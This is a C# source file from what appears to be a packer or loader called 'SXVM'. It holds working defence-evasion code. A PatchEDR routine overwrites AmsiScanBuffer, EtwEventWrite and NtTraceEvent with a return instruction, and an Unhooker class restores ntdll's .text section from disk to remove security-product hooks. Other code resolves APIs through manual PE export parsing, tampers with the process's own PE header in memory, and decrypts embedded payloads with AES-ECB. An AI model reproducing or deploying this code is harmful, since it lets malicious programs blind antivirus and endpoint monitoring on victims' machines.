713 lines
30 KiB
C#
713 lines
30 KiB
C#
using System;
|
|
using System.Collections.Generic;
|
|
using System.Diagnostics;
|
|
using System.IO.Compression;
|
|
using System.IO;
|
|
using System.Linq;
|
|
using System.Runtime.ExceptionServices;
|
|
using System.Runtime.InteropServices;
|
|
using System.Security.Cryptography;
|
|
using System.Text;
|
|
using System.Threading;
|
|
using System.Threading.Tasks;
|
|
using static SXVM.Settings;
|
|
using System.Net;
|
|
using System.Text.RegularExpressions;
|
|
|
|
namespace SXVM
|
|
{
|
|
internal static class API
|
|
{
|
|
[DllImport("kernel32.dll")]
|
|
internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
|
|
|
|
[DllImport("kernel32.dll")]
|
|
internal static extern IntPtr LoadLibrary(string name);
|
|
|
|
[DllImport("kernel32.dll")]
|
|
internal static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
|
|
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
|
internal static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint dwSize, out int lpNumberOfBytesRead);
|
|
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
|
internal static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, long dwSize, out long lpNumberOfBytesRead);
|
|
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
|
internal static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out long lpNumberOfBytesWritten);
|
|
|
|
private static Dictionary<string, Func<object[], object[]>> labelActions = new Dictionary<string, Func<object[], object[]>>();
|
|
|
|
internal static void RegisterHandler(string label, Func<object[], object[]> action)
|
|
{
|
|
labelActions[label] = action;
|
|
}
|
|
|
|
internal static object[] JMP(string label, object[] args = null, bool Return = false)
|
|
{
|
|
if (labelActions.ContainsKey(label))
|
|
{
|
|
object[] result = labelActions[label].Invoke(args);
|
|
if (!Return)
|
|
{
|
|
result = null;
|
|
goto JMPOut;
|
|
}
|
|
return result;
|
|
}
|
|
else
|
|
{
|
|
throw new AccessViolationException();
|
|
return null;
|
|
}
|
|
|
|
JMPOut:
|
|
throw new AccessViolationException();
|
|
return null;
|
|
}
|
|
|
|
internal static void ClearDecryptionKeyFromMemory()
|
|
{
|
|
DecryptionKey = @"";
|
|
DecryptionKey = null;
|
|
GC.Collect();
|
|
}
|
|
|
|
internal static unsafe IntPtr GetManagedFunctionPointer(void* managedPointer)
|
|
{
|
|
long* longAddress = (long*)managedPointer + 1;
|
|
byte* targetAddress = (byte*)*longAddress;
|
|
return (IntPtr)targetAddress;
|
|
}
|
|
|
|
[DllImport("kernel32.dll")]
|
|
private static extern IntPtr GetModuleHandle(string lpModuleName);
|
|
|
|
[HandleProcessCorruptedStateExceptions]
|
|
private static IntPtr FindBytes(IntPtr startAddress, uint size, byte[] pattern)
|
|
{
|
|
try
|
|
{
|
|
for (long i = 0; i < size - pattern.Length; i++)
|
|
{
|
|
bool found = true;
|
|
for (int j = 0; j < pattern.Length; j++)
|
|
{
|
|
if (Marshal.ReadByte((IntPtr)((long)startAddress + i + j)) != pattern[j])
|
|
{
|
|
found = false;
|
|
break;
|
|
}
|
|
}
|
|
|
|
if (found)
|
|
{
|
|
return (IntPtr)((long)startAddress + i);
|
|
}
|
|
}
|
|
|
|
return IntPtr.Zero;
|
|
}
|
|
catch
|
|
{
|
|
return IntPtr.Zero;
|
|
}
|
|
}
|
|
|
|
internal static IntPtr FindECallFunction(string moduleName, string functionName)
|
|
{
|
|
IntPtr hModule = GetModuleHandle(moduleName);
|
|
if (hModule == IntPtr.Zero)
|
|
{
|
|
return IntPtr.Zero;
|
|
}
|
|
|
|
IntPtr pFuncName = FindBytes(hModule, uint.MaxValue, System.Text.Encoding.ASCII.GetBytes(functionName + "\0"));
|
|
if (pFuncName == IntPtr.Zero)
|
|
{
|
|
return IntPtr.Zero;
|
|
}
|
|
|
|
IntPtr ppFuncName = FindBytes(hModule, uint.MaxValue, BitConverter.GetBytes(pFuncName.ToInt64()));
|
|
if (ppFuncName == IntPtr.Zero)
|
|
{
|
|
return IntPtr.Zero;
|
|
}
|
|
|
|
IntPtr funcAddr = Marshal.ReadIntPtr(ppFuncName - IntPtr.Size);
|
|
if (funcAddr.ToInt64() < hModule.ToInt64() || funcAddr.ToInt64() >= hModule.ToInt64() + (long)uint.MaxValue)
|
|
{
|
|
return IntPtr.Zero;
|
|
}
|
|
|
|
return funcAddr;
|
|
}
|
|
|
|
internal static IntPtr FindECallFunctionViaModule(IntPtr hModule, string functionName)
|
|
{
|
|
if (hModule == IntPtr.Zero)
|
|
{
|
|
return IntPtr.Zero;
|
|
}
|
|
|
|
IntPtr pFuncName = FindBytes(hModule, uint.MaxValue, System.Text.Encoding.ASCII.GetBytes(functionName + "\0"));
|
|
if (pFuncName == IntPtr.Zero)
|
|
{
|
|
return IntPtr.Zero;
|
|
}
|
|
|
|
IntPtr ppFuncName = FindBytes(hModule, uint.MaxValue, BitConverter.GetBytes(pFuncName.ToInt64()));
|
|
if (ppFuncName == IntPtr.Zero)
|
|
{
|
|
return IntPtr.Zero;
|
|
}
|
|
|
|
IntPtr funcAddr = Marshal.ReadIntPtr(ppFuncName - IntPtr.Size);
|
|
if (funcAddr.ToInt64() < hModule.ToInt64() || funcAddr.ToInt64() >= hModule.ToInt64() + (long)uint.MaxValue)
|
|
{
|
|
return IntPtr.Zero;
|
|
}
|
|
|
|
return funcAddr;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Sequential)]
|
|
private struct IMAGE_DOS_HEADER
|
|
{
|
|
public ushort e_magic;
|
|
public ushort e_cblp;
|
|
public ushort e_cp;
|
|
public ushort e_crlc;
|
|
public ushort e_cparhdr;
|
|
public ushort e_minalloc;
|
|
public ushort e_maxalloc;
|
|
public ushort e_ss;
|
|
public ushort e_sp;
|
|
public ushort e_csum;
|
|
public ushort e_ip;
|
|
public ushort e_cs;
|
|
public ushort e_lfarlc;
|
|
public ushort e_ovno;
|
|
public ushort e_res_0;
|
|
public ushort e_res_1;
|
|
public ushort e_res_2;
|
|
public ushort e_res_3;
|
|
public ushort e_oemid;
|
|
public ushort e_oeminfo;
|
|
public ushort e_res2_0;
|
|
public ushort e_res2_1;
|
|
public ushort e_res2_2;
|
|
public ushort e_res2_3;
|
|
public ushort e_res2_4;
|
|
public ushort e_res2_5;
|
|
public ushort e_res2_6;
|
|
public ushort e_res2_7;
|
|
public ushort e_res2_8;
|
|
public ushort e_res2_9;
|
|
public uint e_lfanew;
|
|
}
|
|
|
|
[HandleProcessCorruptedStateExceptions]
|
|
internal static void WriteCustomHeader(ushort NewHeader, out ushort OldHeader)
|
|
{
|
|
try
|
|
{
|
|
IntPtr module = GetModuleHandle(null);
|
|
if (module != IntPtr.Zero)
|
|
{
|
|
IntPtr signaturePtr = IntPtr.Add(module, Marshal.SizeOf(typeof(IMAGE_DOS_HEADER)));
|
|
ushort signature = (ushort)Marshal.PtrToStructure(signaturePtr, typeof(ushort));
|
|
if (signature != NewHeader)
|
|
{
|
|
OldHeader = signature;
|
|
uint oldProtect;
|
|
if (VirtualProtect(module, (UIntPtr)512, 0x40, out oldProtect))
|
|
{
|
|
signature = NewHeader;
|
|
Marshal.StructureToPtr(signature, signaturePtr, false);
|
|
VirtualProtect(module, (UIntPtr)512, oldProtect, out oldProtect);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
OldHeader = 0;
|
|
}
|
|
}
|
|
else
|
|
{
|
|
OldHeader = 0;
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
OldHeader = 0;
|
|
}
|
|
}
|
|
|
|
[HandleProcessCorruptedStateExceptions]
|
|
private static ProcessModule GetModuleByAddress(IntPtr address)
|
|
{
|
|
try
|
|
{
|
|
foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
|
|
{
|
|
try
|
|
{
|
|
IntPtr baseAddress = module.BaseAddress;
|
|
|
|
if (address.ToInt64() >= baseAddress.ToInt64() && address.ToInt64() < baseAddress.ToInt64() + module.ModuleMemorySize)
|
|
{
|
|
return module;
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
|
|
return null;
|
|
}
|
|
|
|
[HandleProcessCorruptedStateExceptions]
|
|
internal static IntPtr SearchAoB(string pattern, string ModuleName)
|
|
{
|
|
try
|
|
{
|
|
Process process = Process.GetCurrentProcess();
|
|
|
|
foreach (ProcessModule module in process.Modules)
|
|
{
|
|
if (module.ModuleName == ModuleName)
|
|
{
|
|
IntPtr baseAddress = module.BaseAddress;
|
|
|
|
byte?[] patternBytes = pattern.Split(' ').Select(x =>
|
|
{
|
|
if (x == "??")
|
|
{
|
|
return null;
|
|
}
|
|
return (byte?)Convert.ToByte(x, 16);
|
|
}).ToArray();
|
|
|
|
byte[] memoryBytes = new byte[module.ModuleMemorySize];
|
|
|
|
long bytesRead;
|
|
if (ReadProcessMemory(process.Handle, baseAddress, memoryBytes, memoryBytes.LongLength, out bytesRead) && bytesRead == memoryBytes.Length)
|
|
{
|
|
for (long i = 0; i <= memoryBytes.Length - patternBytes.Length; i++)
|
|
{
|
|
bool found = true;
|
|
for (long j = 0; j < patternBytes.Length; j++)
|
|
{
|
|
if (patternBytes[j].HasValue && patternBytes[j] != memoryBytes[i + j])
|
|
{
|
|
found = false;
|
|
break;
|
|
}
|
|
}
|
|
|
|
if (found)
|
|
{
|
|
IntPtr AOB_Address = (IntPtr)(baseAddress.ToInt64() + i);
|
|
if (GetModuleByAddress(AOB_Address).ModuleName == ModuleName)
|
|
{
|
|
return AOB_Address;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
|
|
return IntPtr.Zero;
|
|
}
|
|
|
|
[HandleProcessCorruptedStateExceptions]
|
|
internal static unsafe void WriteMemoryBlock(IntPtr Address, byte[] src, uint size)
|
|
{
|
|
if ((int)size > src.Length)
|
|
{
|
|
throw new ArgumentOutOfRangeException(nameof(size), "Size exceeds the length of the source array.");
|
|
}
|
|
else
|
|
{
|
|
uint OldProtect;
|
|
VirtualProtect(Address, (UIntPtr)size, 0x40, out OldProtect);
|
|
try
|
|
{
|
|
void* dest = (void*)Address;
|
|
for (int i = 0; i < (int)size; i++)
|
|
{
|
|
*((byte*)dest + i) = src[i];
|
|
}
|
|
GC.Collect();
|
|
VirtualProtect(Address, (UIntPtr)size, OldProtect, out uint _);
|
|
}
|
|
catch
|
|
{
|
|
VirtualProtect(Address, (UIntPtr)size, OldProtect, out uint _);
|
|
throw new AccessViolationException();
|
|
}
|
|
}
|
|
}
|
|
|
|
[HandleProcessCorruptedStateExceptions]
|
|
internal static unsafe byte[] ReadMemoryBlock(IntPtr Address, uint size)
|
|
{
|
|
if (Address == IntPtr.Zero)
|
|
{
|
|
throw new ArgumentException("Invalid memory address.");
|
|
return null;
|
|
}
|
|
else if ((int)size <= 0)
|
|
{
|
|
throw new ArgumentException("Size must be greater than zero.");
|
|
return null;
|
|
}
|
|
else
|
|
{
|
|
uint OldProtect;
|
|
VirtualProtect(Address, (UIntPtr)size, 0x40, out OldProtect);
|
|
try
|
|
{
|
|
byte[] result = new byte[(int)size];
|
|
void* src = (void*)Address;
|
|
for (int i = 0; i < (int)size; i++)
|
|
{
|
|
result[i] = *((byte*)src + i);
|
|
}
|
|
VirtualProtect(Address, (UIntPtr)size, OldProtect, out uint _);
|
|
return result;
|
|
}
|
|
catch
|
|
{
|
|
VirtualProtect(Address, (UIntPtr)size, OldProtect, out uint _);
|
|
throw new AccessViolationException();
|
|
}
|
|
return null;
|
|
}
|
|
return null;
|
|
}
|
|
|
|
private static byte[] Original_AmsiScanBuffer = null;
|
|
private static byte[] Original_EtwEventWrite = null;
|
|
private static byte[] Original_NtTraceEvent = null;
|
|
|
|
[HandleProcessCorruptedStateExceptions]
|
|
internal static void PatchEDR(bool Patch_AMSI, bool Patch_ETW, bool UseWriteProcessMemory)
|
|
{
|
|
try
|
|
{
|
|
IntPtr AMSI_Library = LoadLibrary(@"amsi.dll");
|
|
IntPtr NTDLL_Library = LoadLibrary(@"ntdll.dll");
|
|
IntPtr AmsiScanBuffer_Address = GetProcAddress(AMSI_Library, @"AmsiScanBuffer");
|
|
IntPtr EtwEventWrite_Address = GetProcAddress(NTDLL_Library, @"EtwEventWrite");
|
|
IntPtr NtTraceEvent_Address = GetProcAddress(NTDLL_Library, @"NtTraceEvent");
|
|
Original_AmsiScanBuffer = ReadMemoryBlock(AmsiScanBuffer_Address, 30);
|
|
Original_EtwEventWrite = ReadMemoryBlock(EtwEventWrite_Address, 30);
|
|
Original_NtTraceEvent = ReadMemoryBlock(NtTraceEvent_Address, 30);
|
|
byte[] Patch = { 0xC3 };
|
|
if (Patch_AMSI == true)
|
|
{
|
|
if (UseWriteProcessMemory == true)
|
|
{
|
|
WriteProcessMemory(Process.GetCurrentProcess().Handle, AmsiScanBuffer_Address, Patch, (uint)Patch.Length, out _);
|
|
}
|
|
else
|
|
{
|
|
WriteMemoryBlock(AmsiScanBuffer_Address, Patch, (uint)Patch.Length);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
}
|
|
if (Patch_ETW == true)
|
|
{
|
|
if (UseWriteProcessMemory == true)
|
|
{
|
|
WriteProcessMemory(Process.GetCurrentProcess().Handle, EtwEventWrite_Address, Patch, (uint)Patch.Length, out _);
|
|
WriteProcessMemory(Process.GetCurrentProcess().Handle, NtTraceEvent_Address, Patch, (uint)Patch.Length, out _);
|
|
}
|
|
else
|
|
{
|
|
WriteMemoryBlock(EtwEventWrite_Address, Patch, (uint)Patch.Length);
|
|
WriteMemoryBlock(NtTraceEvent_Address, Patch, (uint)Patch.Length);
|
|
}
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
[HandleProcessCorruptedStateExceptions]
|
|
internal static void RestorePatchIntegrity(bool UseWriteProcessMemory, bool Exit = true)
|
|
{
|
|
try
|
|
{
|
|
IntPtr AMSI_Library = LoadLibrary(@"amsi.dll");
|
|
IntPtr NTDLL_Library = LoadLibrary(@"ntdll.dll");
|
|
IntPtr AmsiScanBuffer_Address = GetProcAddress(AMSI_Library, @"AmsiScanBuffer");
|
|
IntPtr EtwEventWrite_Address = GetProcAddress(NTDLL_Library, @"EtwEventWrite");
|
|
IntPtr NtTraceEvent_Address = GetProcAddress(NTDLL_Library, @"NtTraceEvent");
|
|
if (UseWriteProcessMemory == true)
|
|
{
|
|
WriteProcessMemory(Process.GetCurrentProcess().Handle, AmsiScanBuffer_Address, Original_AmsiScanBuffer, (uint)Original_AmsiScanBuffer.Length, out _);
|
|
WriteProcessMemory(Process.GetCurrentProcess().Handle, EtwEventWrite_Address, Original_EtwEventWrite, (uint)Original_EtwEventWrite.Length, out _);
|
|
WriteProcessMemory(Process.GetCurrentProcess().Handle, NtTraceEvent_Address, Original_NtTraceEvent, (uint)Original_NtTraceEvent.Length, out _);
|
|
}
|
|
else
|
|
{
|
|
WriteMemoryBlock(AmsiScanBuffer_Address, Original_AmsiScanBuffer, (uint)Original_AmsiScanBuffer.Length);
|
|
WriteMemoryBlock(EtwEventWrite_Address, Original_EtwEventWrite, (uint)Original_EtwEventWrite.Length);
|
|
WriteMemoryBlock(NtTraceEvent_Address, Original_NtTraceEvent, (uint)Original_NtTraceEvent.Length);
|
|
}
|
|
if (Exit == true)
|
|
{
|
|
throw new AccessViolationException();
|
|
}
|
|
else
|
|
{
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
if (Exit == true)
|
|
{
|
|
throw new AccessViolationException();
|
|
}
|
|
else
|
|
{
|
|
}
|
|
}
|
|
}
|
|
|
|
internal static byte[] ExtractResource(String filename)
|
|
{
|
|
System.Reflection.Assembly a = System.Reflection.Assembly.GetExecutingAssembly();
|
|
using (Stream resFilestream = a.GetManifestResourceStream(filename))
|
|
{
|
|
if (resFilestream == null) return null;
|
|
byte[] ba = new byte[resFilestream.Length];
|
|
resFilestream.Read(ba, 0, ba.Length);
|
|
return ba;
|
|
}
|
|
}
|
|
|
|
internal static byte[] Decompress(byte[] data)
|
|
{
|
|
using (MemoryStream input = new MemoryStream(data))
|
|
{
|
|
using (MemoryStream output = new MemoryStream())
|
|
{
|
|
using (DeflateStream dstream = new DeflateStream(input, CompressionMode.Decompress))
|
|
{
|
|
dstream.CopyTo(output);
|
|
}
|
|
return output.ToArray();
|
|
}
|
|
}
|
|
}
|
|
|
|
internal static byte[] AESDecrypt(byte[] input, string Pass)
|
|
{
|
|
System.Security.Cryptography.RijndaelManaged AES = new System.Security.Cryptography.RijndaelManaged();
|
|
byte[] hash = new byte[32];
|
|
byte[] temp = new MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.ASCII.GetBytes(Pass));
|
|
Array.Copy(temp, 0, hash, 0, 16);
|
|
Array.Copy(temp, 0, hash, 15, 16);
|
|
AES.Key = hash;
|
|
AES.Mode = System.Security.Cryptography.CipherMode.ECB;
|
|
System.Security.Cryptography.ICryptoTransform DESDecrypter = AES.CreateDecryptor();
|
|
return DESDecrypter.TransformFinalBlock(input, 0, input.Length);
|
|
}
|
|
|
|
internal static class Unhooker
|
|
{
|
|
[HandleProcessCorruptedStateExceptions]
|
|
internal static unsafe void Unhook(string a)
|
|
{
|
|
try
|
|
{
|
|
bool wow64;
|
|
IsWow64Process(Process.GetCurrentProcess().Handle, out wow64);
|
|
|
|
string systemDirectory = Path.GetPathRoot(Environment.SystemDirectory) + @"Windows\System32\";
|
|
if (wow64 && IntPtr.Size == 4)
|
|
{
|
|
systemDirectory = Path.GetPathRoot(Environment.SystemDirectory) + @"Windows\SysWOW64\";
|
|
}
|
|
|
|
IntPtr dll = GetLoadedModuleAddress(a);
|
|
if (dll == IntPtr.Zero) return;
|
|
MODULEINFO moduleInfo;
|
|
if (!GetModuleInformation(Process.GetCurrentProcess().Handle, dll, out moduleInfo, (uint)sizeof(MODULEINFO))) return;
|
|
|
|
IntPtr dllFile = CreateFileA(systemDirectory + a, 0x80000000, 1, IntPtr.Zero, 3, 0, IntPtr.Zero);
|
|
if (dllFile == (IntPtr)(-1))
|
|
{
|
|
CloseHandle(dllFile);
|
|
return;
|
|
}
|
|
|
|
IntPtr dllMapping = CreateFileMapping(dllFile, IntPtr.Zero, 0x1000002, 0, 0, null);
|
|
if (dllMapping == IntPtr.Zero)
|
|
{
|
|
CloseHandle(dllMapping);
|
|
return;
|
|
}
|
|
|
|
IntPtr dllMappedFile = MapViewOfFile(dllMapping, 4, 0, 0, IntPtr.Zero);
|
|
if (dllMappedFile == IntPtr.Zero) return;
|
|
|
|
int ntHeaders = Marshal.ReadInt32((IntPtr)((long)moduleInfo.BaseOfDll + 0x3c));
|
|
short numberOfSections = Marshal.ReadInt16((IntPtr)((long)dll + ntHeaders + 0x6));
|
|
short sizeOfOptionalHeader = Marshal.ReadInt16(dll, ntHeaders + 0x14);
|
|
|
|
for (short i = 0; i < numberOfSections; i++)
|
|
{
|
|
IntPtr sectionHeader = (IntPtr)((long)dll + ntHeaders + 0x18 + sizeOfOptionalHeader + i * 0x28);
|
|
if (Marshal.ReadByte(sectionHeader) == '.' &&
|
|
Marshal.ReadByte((IntPtr)((long)sectionHeader + 1)) == 't' &&
|
|
Marshal.ReadByte((IntPtr)((long)sectionHeader + 2)) == 'e' &&
|
|
Marshal.ReadByte((IntPtr)((long)sectionHeader + 3)) == 'x' &&
|
|
Marshal.ReadByte((IntPtr)((long)sectionHeader + 4)) == 't')
|
|
{
|
|
int virtualAddress = Marshal.ReadInt32((IntPtr)((long)sectionHeader + 0xc));
|
|
uint virtualSize = (uint)Marshal.ReadInt32((IntPtr)((long)sectionHeader + 0x8));
|
|
uint oldProtect;
|
|
VirtualProtectA((IntPtr)((long)dll + virtualAddress), (IntPtr)virtualSize, 0x40, out oldProtect);
|
|
memcpy((IntPtr)((long)dll + virtualAddress), (IntPtr)((long)dllMappedFile + virtualAddress), (IntPtr)virtualSize);
|
|
VirtualProtectA((IntPtr)((long)dll + virtualAddress), (IntPtr)virtualSize, oldProtect, out oldProtect);
|
|
break;
|
|
}
|
|
}
|
|
|
|
CloseHandle(dllMapping);
|
|
CloseHandle(dllFile);
|
|
FreeLibrary(dll);
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Sequential)]
|
|
private struct MODULEINFO
|
|
{
|
|
public IntPtr BaseOfDll;
|
|
public uint SizeOfImage;
|
|
public IntPtr EntryPoint;
|
|
}
|
|
|
|
private static CloseHandleD CloseHandle = Marshal.GetDelegateForFunctionPointer<CloseHandleD>(GetLibraryAddress("kernel32.dll", "CloseHandle"));
|
|
private static FreeLibraryD FreeLibrary = Marshal.GetDelegateForFunctionPointer<FreeLibraryD>(GetLibraryAddress("kernel32.dll", "FreeLibrary"));
|
|
private static VirtualProtectD VirtualProtectA = Marshal.GetDelegateForFunctionPointer<VirtualProtectD>(GetLibraryAddress("kernel32.dll", "VirtualProtect"));
|
|
private static CreateFileAD CreateFileA = Marshal.GetDelegateForFunctionPointer<CreateFileAD>(GetLibraryAddress("kernel32.dll", "CreateFileA"));
|
|
private static CreateFileMappingD CreateFileMapping = Marshal.GetDelegateForFunctionPointer<CreateFileMappingD>(GetLibraryAddress("kernel32.dll", "CreateFileMappingA"));
|
|
private static MapViewOfFileD MapViewOfFile = Marshal.GetDelegateForFunctionPointer<MapViewOfFileD>(GetLibraryAddress("kernel32.dll", "MapViewOfFile"));
|
|
private static memcpyD memcpy = Marshal.GetDelegateForFunctionPointer<memcpyD>(GetLibraryAddress("msvcrt.dll", "memcpy"));
|
|
private static GetModuleInformationD GetModuleInformation = Marshal.GetDelegateForFunctionPointer<GetModuleInformationD>(GetLibraryAddress("psapi.dll", "GetModuleInformation"));
|
|
private static IsWow64ProcessD IsWow64Process = Marshal.GetDelegateForFunctionPointer<IsWow64ProcessD>(GetLibraryAddress("kernel32.dll", "IsWow64Process"));
|
|
|
|
private delegate bool CloseHandleD(IntPtr handle);
|
|
|
|
private delegate bool FreeLibraryD(IntPtr module);
|
|
|
|
private delegate int VirtualProtectD(IntPtr address, IntPtr size, uint newProtect, out uint oldProtect);
|
|
|
|
private delegate IntPtr CreateFileAD(string fileName, uint desiredAccess, uint shareMode, IntPtr securityAttributes, uint creationDisposition, uint flagsAndAttributes, IntPtr templateFile);
|
|
|
|
private delegate IntPtr CreateFileMappingD(IntPtr file, IntPtr fileMappingAttributes, uint protect, uint maximumSizeHigh, uint maximumSizeLow, string name);
|
|
|
|
private delegate IntPtr MapViewOfFileD(IntPtr fileMappingObject, uint desiredAccess, uint fileOffsetHigh, uint fileOffsetLow, IntPtr numberOfBytesToMap);
|
|
|
|
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
|
private delegate IntPtr memcpyD(IntPtr dest, IntPtr src, IntPtr count);
|
|
|
|
private delegate bool GetModuleInformationD(IntPtr process, IntPtr module, out MODULEINFO moduleInfo, uint size);
|
|
|
|
private delegate bool IsWow64ProcessD([In] IntPtr hProcess, [Out] out bool wow64Process);
|
|
|
|
private static IntPtr GetLibraryAddress(string DLLName, string FunctionName)
|
|
{
|
|
return GetExportAddress(GetLoadedModuleAddress(DLLName), FunctionName);
|
|
}
|
|
|
|
private static IntPtr GetLoadedModuleAddress(string DLLName)
|
|
{
|
|
ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;
|
|
foreach (ProcessModule Mod in ProcModules)
|
|
{
|
|
if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower()))
|
|
{
|
|
return Mod.BaseAddress;
|
|
}
|
|
}
|
|
return IntPtr.Zero;
|
|
}
|
|
|
|
private static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName)
|
|
{
|
|
IntPtr FunctionPtr = IntPtr.Zero;
|
|
try
|
|
{
|
|
Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
|
|
Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
|
|
Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
|
|
Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
|
|
Int64 pExport = 0;
|
|
if (Magic == 0x010b)
|
|
{
|
|
pExport = OptHeader + 0x60;
|
|
}
|
|
else
|
|
{
|
|
pExport = OptHeader + 0x70;
|
|
}
|
|
|
|
Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
|
|
Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
|
|
Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
|
|
Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
|
|
Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
|
|
Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
|
|
Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
|
|
|
|
for (int i = 0; i < NumberOfNames; i++)
|
|
{
|
|
string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
|
|
if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase))
|
|
{
|
|
Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
|
|
Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
|
|
FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
throw new InvalidOperationException();
|
|
}
|
|
|
|
if (FunctionPtr == IntPtr.Zero)
|
|
{
|
|
throw new MissingMethodException();
|
|
}
|
|
return FunctionPtr;
|
|
}
|
|
}
|
|
}
|
|
}
|